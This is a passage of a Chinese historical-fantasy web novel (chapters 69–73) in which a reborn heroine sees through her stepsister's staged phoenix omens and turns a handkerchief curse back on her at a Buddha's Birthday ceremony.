她指尖轻抚梳齿,一道无形灵力悄然流转,借着夕阳余晖在梳齿间凝聚成一点极刺目的金芒——
“唰!”
一点金芒似电,顺着窥伺的灵线逆溯而去!
这一手“金针溯影”她使得行云流水,甚至连袖角都未曾颤动分毫。
几乎是同时,太子腰间那枚墨玉蟠龙佩猛地一烫,幽光乱颤。
他脸色微变,本能地抬手,按住玉佩。
云昭却仿佛全然未觉,故作恋恋不舍地瞥了眼桌上的医书,将之推了回去:“殿下厚爱,恕难从命。”
“贵妃娘娘身边已有梅氏与我妹妹心儿陪伴。如今众人皆知,我与心儿芥蒂颇深,对梅氏更是厌恶至极。”
太子微微一怔,似是没料到她会如此直白地拒绝。
“实不相瞒,今日清晨,家母已做主将梅氏纳为妾室。”云昭起身,语气疏离,“其中恩怨,想必殿下能够体谅。若无他事,民女告退。”
起身时,幕笠微扬,薄薄白纱轻拂过太子按着玉佩的手背。
玉佩竟又灼热了三分,太子只觉腕间一麻,不由得松开了手。
一道极隐晦的灵力淌过白纱,直透玉髓——
既管不住自己的眼,留着
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也是无用!
云昭眼底掠过一丝凛冽杀意。
今日只是小惩大诫,他日若叫她知道此人再行此邪术,她不介意溯洄追踪,直接取了对方首级!
“姜小姐留步。”
太子的声音从身后传来,依旧温和,却带着不容置疑的威仪:
“姜小姐性情率真,孤甚为欣赏。
但既得父皇亲赐凤阕令,言行举止便代表着皇室颜面。
孤听闻,父皇有意在佛诞日后,召你入宫觐见。父皇为人最重规矩,届时,姜小姐可不能如此无礼了。”
云昭道:“多谢殿下提点。”
待那抹倩影消失在暮色中,女官拂云低声道:“殿下,此女言行狂悖,不过是仗着秦王殿下……”
萧鉴轻笑:“堂兄岂会真心待她?不过是一时兴起,觉得她懂些医术,能讨好姑母罢了。”
拂云迟疑:“殿下,我观她方才腰间一直系着那枚玉佩,会不会……”
萧鉴再次打断了她:“是真是假,**自有判断。”他看也不看拂云,乾纲独断道,“不要轻举妄动,免得打草惊蛇,反而惹她生了疑心。”
拂云沉默片刻,取出一枚玄铁令牌,正是不久前灵峰前往姜府夜会时,交给姜绾心的那枚信物。
“这是绾心小姐命属下转交的。她说燕窝一事,定会设法消除贵妃疑虑,只怕姜云昭从中作梗。还有,佛诞日当天……”
太子漫不经心地摆手,语气冷淡:
“她若连这点小事都处置不当,也配不上‘天定凤命’之说!孤要的,从不是一个徒具虚名的废物。”
他拂袖步出茶寮,衣袂带起一阵凛冽的风。
正当他纵身跃上马背时,指尖习惯性地拂过腰间佩玉时,周身却骤然一僵。
太子垂眸看去,只见那枚向来莹润生辉的墨玉蟠龙佩,此刻竟色泽灰败如死灰,玉体表面赫然蔓延开数道蛛网般的裂痕!
他瞳孔骤缩,当即勒紧缰绳调转马头,扬起的鞭子在暮色中划出凌厉的弧度:
“速回东宫!”
第69章 被人窥破重生!
天色向晚,云昭踏着最后一缕天光,回到暂居的禅院。
“姑娘回来了!”莺时和雪信闻声迎出。
莺时捧着一个食盒,笑吟吟道:“长公主殿下惦记姑娘,特意让人送了冰糖雪蛤羹来,说姑娘这几日劳心劳力,须得好生滋补。”
雪信则凑近几步,压低声音:“姑娘,赵大人那边派人送了信来。奴婢按您的吩咐,未惊动任何人,连夫人那儿也未提及。”
云昭颔首,脚步未停地往里走,只简洁吩咐:“烧水!”
莺时忙道:“姑娘是要沐浴?奴婢这就去备些玫瑰花瓣,给您洒在浴桶里……”
“不必花瓣,”云昭步履如风,声音清越,“要柚子叶。”
她语气平淡,却带着不容置疑的意味,“好好去一去这一身的晦气。”
莺时闻言,深以为然地重重点头。
自打入这碧云寺,便一日不得安宁!先是南华郡主中煞昏迷、又是柔妃娘娘险些小产,确实急需去一去晦气!
氤氲的热气弥漫在净室之中,柚子叶清洌的香气,驱散了连日来的疲惫。
云昭沐浴完毕,换上干净的素白寝衣,乌黑的长发仅用一支桃木簪松松绾住。
她坐于窗下桌前,就着跳跃的烛火,再次摊开从有悔大师那儿借来参详的医书,试图让有些纷乱的心绪沉静下来。
太子今日看似礼贤下士,又是赠医书投她所好,又是传消息关怀备至,但其真正的用意,恐怕就在他腰间那块墨玉上。
太子身旁有玄师相随,此事算不上奇怪。
但为何那玄师会对她格外感兴趣,又急于用这种上不得台面的秘法窥探她的言行?
云昭觉得自己对这位太子殿下所知不详,一时间很难推断对方的真正用意……
恰在此时,门外响起莺时轻柔的禀报声:“姑娘,院外有位小沙弥求见,说是闻空大师有请。”
云昭眸光微凝:闻空大师?此刻已是夜深,大师突然相邀,所为何事?
她并未多问,只起身重新绾好长发,披上一件月白斗篷,便随那小沙弥悄然离去。
闻空大师的禅房格外简约,一桌一榻,一炉一画,墙上悬着一幅太极八卦图。
檀香袅袅中,大师示意云昭在对面蒲团落座,而后取出一方古朴的罗盘置于案几之上。
“请施主将手悬于罗盘之上,凝神静气。”
云昭依言照做。
就在她掌心悬于罗盘上方的刹那,罗盘中央的磁针竟无风自动,急速旋转起来!
四周的八卦符文依次亮起微光,最终在“离”位与“坎”位之间剧烈震颤。
闻空大师目光一凝,取出一枚古铜钱,在烛火上略一灼烧,随即投入案上清水中。
“滋啦”一声,铜钱入水竟不沉底,反而在水面急速旋转。
更奇异的是,清水表面渐渐浮现出一幅流动的图案——一只浴火神鸟在烈焰中挣扎,羽翼焦黑,沥血哀鸣,奄奄一息。
云昭心头剧震!
然而未等她细看,图案骤然变化。
烈焰中的神鸟忽然昂**鸣,焦黑的羽翼寸寸重生,华彩夺目,最终振翅高飞,搅动风云!
“离火重生,坎水润泽。凤格天成,劫后逢生。”闻空大师目光深邃地看着云昭,“老衲修行数十载,这是第二次,见到如此奇特的命盘。”
事实上,这般‘星陨再升’之象,他此前只在那个人身上见过相似的轨迹。
云昭却定定看着已然恢复平静的水面,久久难言。
她从未想过,有朝一日,会被他人窥破自己重生的隐秘!
闻空大师却突然话锋一转:“这几日寺内风波不断,人命倾覆只在顷刻。施主以为,这一切纷扰,缘由何在?”
云昭迎上他的目光,神色平静:“世间纷扰,皆由贪嗔痴起。”
她约莫能猜到这老和尚想说什么。
但她早不是前世那个心存柔善的云昭,经历了剜心剖骨之痛,她早已看透——
凡人作恶,只是因为他们想作恶,不要把罪责归咎到旁人身上,更不必为这种人自我内耗!
闻空大师闻言,非但不恼,眼中反而浮起一抹赞赏。
他沉吟片刻,语气渐沉:“老衲夜观天象,紫微晦暗,七杀当道……倘若真有那一天,云施主会如何自处?”
闻空大师说得极为隐晦,但云昭却立即懂了他话中暗示。
她想起了前世死后看到的景象:
萧启身中恶诅,却仍率铁骑杀入皇宫,将萧鉴从龙椅上生生拖下。
她看见太子在萧启剑下哀嚎求饶,最终身首异处。
而萧启也因恶诅反噬,七窍流血而亡。
再之后,大晋国破。
她看见蛮族的铁蹄踏碎京都的繁华,昔日笙歌处只剩断壁残垣。百姓流离失所,饿殍遍野,易子而食的人间惨剧在每一个角落上演。护城河水被染成赤红,整整三个月不曾褪色。
云昭沉默着,没有立即作答。
闻空大师不再追问,自宽大的袖中取出两张泛着微光的笺纸。笺纸以金粉书写,字迹在烛光下流转着奇异
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的光华。
第一张上书:玄鸟司命,涅槃归来。火焚旧孽,鸣动九霄。
第二张上书:朱雀栖金阙,梧桐映紫微。星辉耀东宫,天命启祥瑞。
“佛诞日批命,世人将知其一。”闻空大师面上浮起一丝狡黠的笑,缓声问,“云施主希望他们看到的,是哪一张?”
云昭一怔,旋即嫣然一笑:“大师是世外高人,参透人间种种,怎么佛诞日替人批命这等庄严之事,居然也能如此……灵活变通?”
“若真的超然物外,老衲就该继续云游四海,何苦十年一批凤命?”
一老一少,相视一笑。
云昭的目光在两份命笺上停留片刻,几乎没有任何犹豫,伸出纤指,点在了第一张之上:
“云昭此生,无需借他人之势,我自有我的九霄青云。”
而那张被云昭选中的命笺随之化作点点流光,没入她的掌心。
闻空大师微微颔首,似早已料到她的选择。
云昭亦不再多言,起身微微一礼,便转身离开了禅房。
禅房内重归寂静。
那张写着“朱雀栖金阙”的笺纸,则渐渐失去流光,成为一张普通的素笺,静静留在了桌上。
闻空大师独自坐在原地,目光落在留下的那张命笺上,许久,发出一声几不可闻的叹息。
他看到了云昭身上纠缠的、迥异于常人的时间轨迹——
那是一个本已逝去却强行归来的强大灵魂!
她的抉择,已与这王朝的气运紧密相连。
“命星陨而再升,天机混沌难测……逆天改命,因果重重。但愿这一次,老衲没有做错,能为这天下众生,争得一线生机……”
*
天将破晓,晨光未至,正是一夜中最黑暗的时刻。
一道鬼祟身影,借着残月的微光,悄无声息地潜入了已然无人的禅房。
梅柔卿屏住呼吸,一眼便看到了桌上那张书写着批命的素笺!
她迫不及待地拿起,借着窗外透进的微弱光线,看清了上面的字迹——
“凤鸟栖金阙,梧桐映紫微。星辉耀东宫,天命启祥瑞。”
闻空大师竟提前为姜云昭批了命?
梅柔卿眸中闪过一抹嫉恨与不甘。
这般贵不可言的命格,合该是她心儿的才是!那丧门星也配?
她紧紧将命笺捂在胸口,眼中闪烁着近乎疯狂的光芒。
有了此物,她便能提前为心儿造势!
待到佛诞日当天,她必要让世人看得清清楚楚,谁才是真正的天定凤命!
第70章 心儿诚心,感动佛祖!
翌日。
云昭难得一夜酣眠,直至天光大亮,方在窗外渐起的喧嚣中悠然转醒。
“姑娘可算醒了!”莺时端着铜盆快步走进,脸上满是难以置信的神色,“外头都传疯了!说是一大早天现异象,有七彩云凤盘绕在二小姐院子上空,久久不散!”
雪信紧跟着进来,小脸皱成一团:“定是那梅姨娘又用了什么邪术!现在全寺都在传,说姜绾心才是真正的天命凤女,连天象都为之显灵!”
云昭眸光微动,心头浮起一丝了然。
梅氏为了帮姜绾心造势,倒真是煞费苦心。
她从容起身梳洗,换了一身浅碧色长裙,只在发间簪了一支碧玺桃花簪。
“走吧。”总算睡了个好觉,她心情颇好地笑着对两人道,“去叫上严嬷嬷,咱们一块去见识见识这‘天降祥瑞’。”
甫出院门,便见远处,三三两两的贵女聚在甬道,个个仰头望天,议论声此起彼伏。
“快看!云彩还在那里!”
“真真是凤凰形状,羽翼分明,流光溢彩!”
“不是说明日闻空大师要给姜家大小姐批命?这还用得着批?”
见云昭款步走来,议论声戛然而止,众人纷纷投来复杂的目光。
云昭顺着众人视线望去,果然见到姜绾心所住的禅院上空,一团绚丽的七彩云霞凝聚不散。
那云朵形态奇异,边缘轮廓恰似一只展翅凤凰,在湛蓝天空中格外醒目。
更为玄妙的是,随着晨光推移,云凤色泽愈发瑰丽,仿佛真有神鸟栖息云端。
姜绾心身着一袭绯红织金牡丹纹半臂,配樱粉胸襦裙,站在院中,仰首望天,姿态优美如画。
她娇美的脸庞挂着盈盈清泪,眉眼间透出恰到好处的虔诚与惶恐,仿佛承受不住这天降殊荣。
梅柔卿站在一旁,正对几位前来围观的贵妇人解释:
“妾身也不知为何会如此。今晨醒来,才发现心儿小姐一夜未眠,**在屋内虔诚诵经。忽见天边云霞汇聚,竟自然凝结成凤形……”
立即便有笃信佛法的贵妇双手合十,满面虔诚地接话:
“定是心儿小姐彻夜诵经的诚心感动了佛祖,这才降下如此盛迹!”
“可不是么!听说前些日子花神宴上,心儿小姐还得了花神赐福呢!”
“果然是有福之人,走哪儿旺哪儿,真真是个小福星!”
当日花神宴接近尾声时,闹起众人被蜂群追逐的事儿,且此事极大可能是因姜绾心一心邀宠而起——
整件事的原委,当天在场的人皆心知肚明。
只是太后平素最重颜面,谁也不敢在京中传扬,唯恐触怒太后。
因此,不少不明就里之人,至今仍以为姜绾心还是从前那个福泽深厚的姜家千金。
云昭冷眼旁观片刻,琢磨透了这场“祥瑞”的真相。
所谓“七彩云凤”,不过是利用特制的凤凰翎粉混合鲛人油,借助精巧的竹制机关喷洒至空中。
晨光照射下,这些特制粉末会在特定高度凝聚不散,折射出瑰丽色彩。
远处看来自是神奇,但若站得足够高,其实不难发现细微的粉尘痕迹。
倒是比之前花神宴上的把戏高明些。云昭心下冷笑。
看来昨天夜里,梅柔卿忙碌得很呐!这是又偷偷下山去请教高人了?
“姐姐也来了?”姜绾心转首看到她,柔声问道,眼底藏着不易察觉的得意,“姐姐博学,可知这云霞为何会凝成凤形?妹妹心中实在不安……”
一时间,所有目光都聚焦在云昭身上。
云昭挑起眉梢:“你不安什么?”她抬头看了一眼天上的“祥瑞”,故作恍然状,“这云彩嘛,就怕下雨。”
此言一出,姜绾心还未如何,身旁的梅柔卿却险些绷不住脸色。
这特殊混合而成的粉末,约莫再过一盏茶的功夫,就会彻底消
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散。
但若是在此期间下雨,雨水将把空中的“云团”砸落,油彩会在湿漉漉的地面显形——到那时,任谁都能看出不对劲!
梅柔卿死死盯着云昭:她究竟是什么来历?居然能一眼看破关窍!
云昭却朝梅氏璀然一笑:“梅姑不必紧张。我昨夜夜观天象,今日天朗气清,不会下雨。”
她又看向众人,意味深长地添了句:“喜欢看这‘祥瑞’的可抓紧了,再过一盏茶的光景,怕是就看不着了。”
有贵女狐疑道:“你怎知再过一盏茶就会消失?”
也有人不满地附和:“姜大小姐,倒也不必因为嫉妒就这般诅咒心儿的神迹!”
“明日才是闻空大师批命的正经日子,姜大小姐若真是天定凤命,也不必说这些酸话!”
姜绾心泫然欲泣:“妹妹知道,能沾阿姊的光,得闻空大师推演命格,已是天大的福分。妹妹从不敢与阿姊相争,还望阿姊莫要动怒......”
云昭讶然挑眉:“原来你也知道,若是惹我不悦,后果会很严重!”
她欣赏着姜绾心瞬间僵住的脸色,又瞥见梅柔卿紧攥袖口、指节发白的模样,轻笑道:“这云彩造型别致,就是下次,记得少撒些粉。”
说罢翩然转身,留下一众面面相觑的围观者。
“什么粉?她这话什么意思?”
“别理会,定是嫉妒心儿得了祥瑞,在这说酸话罢了。”
不远处静静观望的英国公夫人与承义侯夫人交换了一个心照不宣的眼神。
就说世上哪有这般巧合的事!
听昭儿这话音,恐怕又是人为安排的戏码?
云昭信步离去,唇边忍不住漾开一丝笑意。
方才梅柔卿那副如鲠在喉的表情,着实令人忍俊不禁。
她恐怕做梦也想不到,那张偷去的命笺早已被动了手脚。
明日佛诞大典,她很期待梅氏母女的表现呢!
第71章 移花接木咒
佛诞日这天,碧空如洗,**无云,是个难得的好天气。
金灿灿的朝阳遍洒碧云寺的每一个角落,寺内**苍翠,钟磬声声,香火鼎盛,弥漫着特有的檀香气息。
通往大雄宝殿的汉白玉阶早已被宫人清扫得一尘不染,两侧悬挂着明黄经幡,在微风中轻轻拂动。
京中勋贵,上至皇室宗亲、公爵侯伯,下至文武百官及其家眷,皆盛装而至。
更有无数百姓为瞻仰盛况,天未亮便在山脚下排起长龙,为这佛门圣地增添了几分世俗烟火气。
云昭的居所内,却是一片温馨静谧。
她今日择了一身金红二色相间的华美衣衫,金线绣成的团花纹在红色锦缎上熠熠生辉,映得她肤光胜雪。眉心一点赤金花钿,形状宛若凤羽,更衬得她眉眼秾丽,宛如一朵正值盛放的倾国牡丹。
长公主携着手捧锦盒的周嬷嬷含笑走来。她打开锦盒,里面是一对玉镯,镯身通透无暇,内里仿佛有朱霞流转。
“昭儿,”长公主语气温蔼,“这是义母年轻时,朱玉国使臣来朝,其国王子亲自献上的国礼‘朱玉霞光’。此玉冬暖夏凉,有安神定魄之效。今日,便赠予你了。”
她亲自为云昭戴上,玉镯尺寸恰到好处,更添华贵。
长公主柔声道:“今日之事,无论闻空大师批命如何,都无需过分萦怀。命数之说,玄之又玄,未必做得准。无论如何,你都是本宫认定的好女儿。”
“多谢义母。”云昭抚着温润的玉镯,心生暖意。
苏氏亦上前,取出一对耳铛。耳铛以纯金累丝嵌成繁花托,中间缀着两颗拇指肚大小、浑圆莹润的东珠。
“昭儿,娘错过了你过往的每一个生辰,”她眼中透出歉然,更多的则是对未来的冀望,“从今往后,你的每一个生辰,娘都盼着能陪你一起度过。”
她亲手为云昭戴上东珠,耳铛在她耳畔轻轻摇曳,莹润光泽流转,与她通身的气度相得益彰。
周嬷嬷在旁看着,忍不住笑着凑趣:“姑娘这般品貌,真不知将来是哪家的儿郎有这天大的福气,能娶到咱们姑娘。”
苏氏闻言,眉眼间却笼上一层轻愁。
长公主则冷哼一声,语气带着几分看透世情的淡漠:“不嫁也罢!天下男子,多是些负心薄幸、庸碌无能之辈,不堪托付终身。”
云昭心念微动:自那夜卫临之事后,似乎再未见过驸马踪影,瞧义母眉眼间恹恹之色,莫非与驸马之间又生出了什么龃龉?
正思忖间,院外传来一阵喧哗,却是姜绾心到了。
她此行阵仗颇大,不仅梅柔卿紧随左右,更有十余位交好的贵女、贵妇簇拥而来,声势浩大。
姜绾心身着一袭正红色广袖蹙金礼衣,衣料华贵,刺绣繁复。
只是她身量略显单薄,这过于隆重的大红宫装穿在她身上,反倒有种孩童偷穿大人衣袍的违和感,有些撑不起这般庄重的气势。
她发间戴着一顶累丝嵌宝明珠冠,宝石累累,极尽奢华。
周围立时有贵女艳羡低语:“瞧那凤冠,听说是贵妃娘娘所赐,当真华丽不凡!”
又有人眼尖,发现了她颈间垂挂的一枚吊坠。
“咦,这吊坠的样式,好似昨日天现的七彩祥云呐!”
“看工艺,像是金缕阁的手笔?这是用七彩琉璃烧制的吧?当真精巧绝伦!”
“金缕阁?那不是秦王殿下母家……”
众女一时议论纷纷,目光在云昭与姜绾心之间逡巡,意味不明。
苏氏闻言,担忧地看向云昭。
她知秦王待云昭确有几分不同,但这份“不同”究竟到了何种地步,谁也说不准。苏氏并不在意秦王心悦谁,只忧心女儿会因此受伤——
她自己在男女之情上吃尽苦头,蹉跎半生,实不愿女儿重蹈覆辙。
长公主的目光在触及那枚云形琉璃吊坠时,眸底亦迅速掠过一丝冷芒。
姜绾心适时地流露出娇羞之态,纤指轻抚颈间吊坠,声若蚊蚋:“不过是个巧合罢了,大家莫要胡乱猜测。”
一位与她交好的贵女打趣道:“究竟是巧合,还是哪位有心人特意相赠啊?”
姜绾心嗔怪地瞥了她一眼:“莫要胡说。”
她走上前,亲昵地拉起云昭的手,“多谢阿姊在闻空大师面前为妹妹美言,心儿今日方能得此机缘。阿姊,时辰不早,我们一同前往前殿可好?”
云昭却轻轻挣开了她的手,抬起自己的指尖。
只见她如玉的指尖上,沾染了些许亮晶晶的金色粉末。<
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br>姜绾心见状一愣,下意识看向自己的手,她的指尖竟也沾着同样的金粉!
她身旁的丫鬟机灵开口:“定是小姐今晨作画时,不小心沾到的画粉。”
姜绾心立刻恍然,面露歉色:“瞧妹妹这记性,竟一时忘了!”
她向云昭解释道,“妹妹今晨见天边红霞绚烂,忆起昨日七彩祥云之美,心有所感,便提笔将当时景象描绘了下来。这金粉想必是那时不慎沾染的。”
梅柔卿适时出声,带着几分关切:“还不快去为两位小姐备水净手。”
苏氏眸中忌惮之色一闪而过,不远处上首处坐着的长公主亦紧蹙着眉。
三人目光交汇,几不可察地微微颔首。
很快,两盆清水端上。云昭与姜绾心各自将手浸入盆中。然而那金粉颇为顽固,清水难以立刻涤净。
姜绾心取出随身的一方素白锦帕,仔细擦拭指尖,唇角悄然弯起一抹志得意满的弧度。
姜绾心取出随身的帕子,在指尖擦了擦,唇角轻翘起一抹志得意满的弧度。
不远处人群中的梅柔卿见女儿此举,一直紧绷的心弦这才稍稍放松。
这时,有管事妇人扬声提醒:“吉时将至,该启程前往前殿了。”
众人闻言,纷纷整理仪容,准备动身。
姜绾心走在前面,姿态优雅。
云昭垂在袖中的手指却于无人可见处,飞速掐诀,凌空绘下一个“移花接木咒”的简易符文。
恰时一阵清风拂过,姜绾心袖中的那方锦帕竟无声滑落。
云昭俯身,姿态自然地拾起帕子。
借着弯腰的遮掩,她将帕子迅速凑近鼻端,一股极淡的、带着清甜花香的“解萦香”气息钻入鼻腔——果然如此!
她心中冷笑,面上却不露分毫,飞快地用这方沾了解药气息的帕子,将自己指尖残余的金粉彻底擦拭干净,随即快步跟上队伍。
行至院门处,云昭轻声唤住前方的姜绾心。
“妹妹,你的帕子掉了。”
姜绾心回首,见到自己的帕子竟在云昭手中,眸中难掩懊恼。
她飞快地扫了一眼云昭的手,强压下心头的惊疑,接过帕子,勉强扯出一抹笑:“多谢阿姊。”
随即几乎是夺过帕子,匆匆转身离去。
第72章 心儿妹妹,你的手!
梵音袅袅,盛大的恭迎佛像仪式正式开始。
八名身着明黄僧袍的健壮僧人,肩抬着璀璨夺目的鎏金佛辇,步伐沉稳而齐整,沿着铺就猩红毡毯的汉白玉御阶缓缓前行。
阳光洒在辇身,折射出万道金光,令人不敢直视。
所经之处,无论勋贵高官还是平民信众,无不垂首躬身,合十礼拜,空气中弥漫着庄严肃穆的气息。
就在佛辇行至与姜绾心几乎平行的刹那,右侧一名抬辇僧人的步伐几不可察地微微一滞。
沉重的佛辇随之轻轻一颤。
电光火石之间,一抹朦胧的金色光影自辇架边缘悄然滑落,于半空中倏然展开,化作一道凤凰展翅的淡金色虚影,不偏不倚,正映在姜绾心那身正红色蹙金礼裙之上!
“快看!凤影!”人群中不知是谁先失声惊呼。
这一声如同投入静湖的石子,瞬间激起千层浪。所有人的目光齐刷刷地被吸引过去。
待看清那衣裙上流转的凤凰光晕,围观的百姓中顿时爆发出阵阵难以抑制的喧哗。
“凤影随行?这是天佑贵人啊!”
“那位穿大红衣裙的小姐是谁?瞧这通身的气派,定是个有大福分的!”
“是礼部尚书府的姜二小姐!我的天爷,莫非……莫非她便是传说中的天定凤命?”
议论声、惊叹声、赞美声如潮水般涌向姜绾心,她瞬间成为全场唯一的焦点!
石阶之上,太子原本平静无波的目光骤然亮起,如鹰隼般精准地锁定在姜绾心脸上,唇边勾起一抹似笑非笑的弧度。
女眷席中,有妇人道:“听闻昨日清晨,碧云寺上空惊现七彩祥云,莫非也是应在这位姜小姐身上?”
“那祥云我也瞧见了!瑰丽非凡,咱们京城多少年没见过这等神迹了!”
“你们快看她颈间那片七彩琉璃佩!流光溢彩,与那祥云如出一辙,定非俗物!”
太子听着周围人的议论,唇角轻轻绽起,看向姜绾心的目光中多了几分意味深长。
姜绾心感受着四面八方投来的艳羡目光,尤其是太子那毫不掩饰的欣赏与打量,只觉一股混杂着虚荣与激动的热流直冲头顶,双颊染上娇艳的红晕。
她强作镇定地垂下眼帘,唇角却抑制不住地微微上扬——
这一刻,她真切地觉得自己就是天命所归的凤女,连大晋未来储君,都要为她倾倒!
随着仪仗缓缓前行,众贵女也依序跟随。
姜绾心裙摆上的那抹凤影,随着她步履轻晃,终是渐渐淡去,归于无形。
然而人群中的热议却并未停歇,反而因这“神迹”的短暂显现而更加沸腾。
有妇人忍不住朝苏氏道喜:“恭喜淑人了!看来府上过不了多久,就要有喜事了。”
“淑人真是好福气,大姑娘得陛下亲赐凤阕令,二姑娘又得天道垂青,福运昌隆。依我看呐,这心儿小姐,日后定有大造化!”
苏氏面上维持着得体而疏离的浅笑,温声应道:“小女年幼,当不起如此盛赞。不过是恰逢其会,沾了些佛诞日的祥瑞之气罢了。”
她言辞谦逊,将一切归功于场合,既全了礼数,也未落下任何话柄。
李灼灼蹙着眉,扯了扯云昭的衣袖,压低声音:“我瞧着那影子,倒像是从前陪母亲南下游玩时,在姑苏城里看的皮影戏法!”她小声道,“透着一种僵硬。”
“灼灼好眼力。”云昭莞尔一笑:“不过是药水浸过的符纸,借日光蒸腾成形,与江湖戏法中‘白纸显字’的伎俩同出一源。”
李灼灼忍不住挽住她的手臂轻摇:“你既看得这般透彻,为何不当场拆穿?”说着气鼓鼓地瞥向远处,“我实在看不惯她那副手段龌龊却偏要装作清高的模样!”
云昭微微一笑:“登的不够高,又怎会跌得足够惨?”
她说着,目光越过人群,与不远处梅柔卿阴冷的视线撞个正着。
面对那淬毒般的目光,云昭非但不避,反而微微侧首,朝她扬眉一笑:她既这么喜欢让姜绾心顶着凤命的噱头,大出风头,她这个做姐姐的怎好不成全?
*
恭迎仪式后,便是更为庄重的佛像沐浴环节。
大雄宝殿前的广场上,早已设好巨大的青铜净盆。盆中清水取自寺中千年古井,融入了檀香、沉香等数十味名贵香料,水色澄碧,暗香浮动。
德高望重的僧人们手持杨枝,肃立两侧,低声诵念沐浴真经。
所有宾客皆屏息凝神,按序上前,以特制的香木小勺,舀起盆中香汤,
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恭敬地淋洒于佛像之上,寓意洗尽铅华,明心见性。
云昭与姜绾心恰好站到了相邻的位置,两人之间仅隔半臂之遥。
姜绾心侧首,朝云昭绽开一个甜腻的笑:“阿姊,让妹妹先帮你净手吧。”
话音未落,她已执起木勺,不由分说地将一注香汤朝云昭指尖淋下。
清水顺着云昭纤白的指尖滑落,她微微蹙眉,语气带着几分无奈:“妹妹这是做什么?佛前净仪,岂是玩闹之时?”
姜绾心却不答话,一双美眸死死盯着云昭的手,见毫无异状,竟又舀起一勺,再度朝云昭手背泼去。
这一次水势更急,不仅浸湿了云昭整个手背,更险些溅湿她的袖口。
这番动静引得周遭贵女纷纷侧目,窃窃私语声渐起。
紧挨着姜绾心另一侧的宋白玉柔声劝道:“心儿妹妹莫要顽皮了,快些为佛像沐浴才是正理。”
云昭姿态从容地执起木勺,一边将香汤徐徐洒向佛像金身,一边淡声道:“妹妹这般任性,想来是父亲与兄长平日里太过纵容了。”
这话如一根细针,精准刺中姜绾心要害,一股被愚弄的怒火直冲头顶!
她手指一颤,握着的木勺“啪”的一声,竟脱手滑落在池中,香汤溅起,落在她细白的指尖。
恰在此时,宋白玉发出一声恰到好处的惊呼:“心儿妹妹,你的手……!”
姜绾心茫然垂眸,只见她的指尖正有点点殷红血珠沁出,在她莹白的肌肤晕开,妖异非常。
“呀!见红了!”
“佛前沐浴,怎会如此?”
“这可是大不祥之兆啊!”
四周顿时响起一片惊呼,众人目光各异,或惊疑,或嫌厌,离得近的几位贵女,更是连连后退,仿佛生怕沾染上什么不祥之物。
姜绾心看着自己染血的指尖,脑中一片空白,浑身冰凉——
这、这本该是出现在云昭身上的情形!
她下意识地取出帕子,惊慌失措地擦拭着指尖不断冒出的鲜血。
目光触及帕子,她猛地想起,当时在院中,这帕子曾不慎落地,正是云昭俯身拾起……
是了!定是那时动了手脚!
姜绾心又惊又怒,猛地抬头,尖声道:“是你!定是你搞的鬼!”
第73章 **!我要你偿命!
“心儿妹妹慎言!”
不待云昭开口,一旁的宋白玉已蹙眉打断。
她蛾眉轻蹙,一双水杏眼不赞同地看着姜绾心,声音却刻意扬高半度,恰好能让周遭众人听清:
“今日乃是佛诞圣日,沐浴仪式何等庄严!岂容你在此大呼小叫,冲撞神明?”
姜绾心被她这番义正辞严堵的胸口发闷,委屈与愤懑在胸中翻涌,眼圈瞬间红了,泪珠在睫间盈盈欲坠。
立时有与二人交好的贵女上前打圆场。
一个轻抚姜绾心肩头,柔声道:“宋姐姐性子一贯最是温和,今日也是情急之下言语重了些,心儿妹妹莫要往心里去。”
另一个则笑着岔开话头:“不过是指尖破了点皮,算不得什么大事。心儿妹妹莫要激动了,仔细伤了身子。”
云昭却悠然放下木勺,语带玩味:“妹妹何必惊慌?古籍有载,天命所归之人,有时会伴生异象。这血气相随,说不定正是凤格独特的彰显呢。”
这话引得几个平素与姜绾心不睦的贵女,当即嗤笑出声。
宋白玉眸光微闪,适时温声劝道:“心儿妹妹,你先得祥云降福,又引来凤影相随,福泽之深厚,众人有目共睹。实在不必为这点小事耿耿于怀。”
立在稍远处的李灼灼却冷哼一声,手中木勺“哐当”一声搁在盆沿:
“方才大家可都瞧见了,她接连两次往自家长姐手上泼水,我看她是真把自己当成天定凤命,飘飘然不知所以了!”
附近的这些贵女,都与姜绾心年纪相仿。
这两日来,众人见她接连获得种种“祥瑞”,本就或羡或妒,各怀心思,方才再看她举止失当,听了李灼灼的话,不由纷纷点头。
“是太骄狂了些!”
“没瞧见嘛,宋姐姐那般大度的性子,都看不下去了。”
姜绾心见众人态度倒戈,又急又气,红着眼圈道:“诸位姐姐何必这般挖苦?天降祥云,本就非我能左右,至于方才的风影,我也不知其从何而来!又怎会因此欺侮阿姊?”
她心中暗恨:你们也不看看云昭那个猖狂样子,谁能欺负得了她?!
就在这时,一道温润如玉的嗓音自身后响起:"何事喧哗?"
太子信步走近,锦袍拂过青石板,目光在众人面上一一掠过,最终定格在姜绾心身上。
身后的香汤已被血色染得浑浊,在澄澈日光下泛着诡异的光泽。
姜绾心急的额角沁出细汗,慌忙将染血的指尖藏入袖中,垂首不敢言语。
李灼灼朗声道:“表兄,是姜绾心!你瞧她面前的池水!”
宋白玉适时接话,语气温婉却字字清晰:“方才心儿妹妹一时顽皮,不慎将香汤洒在了姜大姑娘衣袖上。”
太子目光掠过水中那抹刺目的赤红,眸中倏地掠过一丝极难察觉的异彩,快得仿佛只是日影晃动产生的错觉。
“女儿家嬉闹,原也无伤大雅。”他温声开口,唇角噙着恰到好处的笑意,“诸位还请继续焚香祈福,莫要误了吉时。”
这三言两语便将一场风波轻描淡写地带过,分明是在为姜绾心解围。
姜绾心轻咬朱唇,抬眸望向太子时眼中泪光盈盈,宛若沾露海棠。心中对他的倾慕,一时又深了几分。
云昭冷眼旁观,心头疑云渐浓:以太子的城府心机,绝非色令智昏之辈。这般维护姜绾心,所图究竟为何?当真只是为了立她为太子妃?
可姜绾心究竟有何特别,值得她这般一而再、再而三地维护?
此时仪式已进行至祈福环节。因闻空大师将要在此为云昭与姜绾心推演命格,此刻全
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场目光都聚焦在祭坛前。
云昭缓步登上青石阶,裙裾曳地如流云。她执起线香在烛火上点燃,青烟袅袅升起,在她沉静的眉眼间缭绕。
将香插入炉中,她虔诚而立,心中一片澄明如镜。
她无所祈求——今生所拥有的一切,都是凭自己双手搏来。
天道酬勤,地道酬善,何须向神佛许愿?
太子与一众官员勋贵依次上前焚香。
云昭静立一旁,忽见宋白玉款款走来,面上噙着浅淡笑意。
这位宰相千金今日突然殷勤示好,让云昭心底隐隐觉得怪异,面上却丝毫不显。
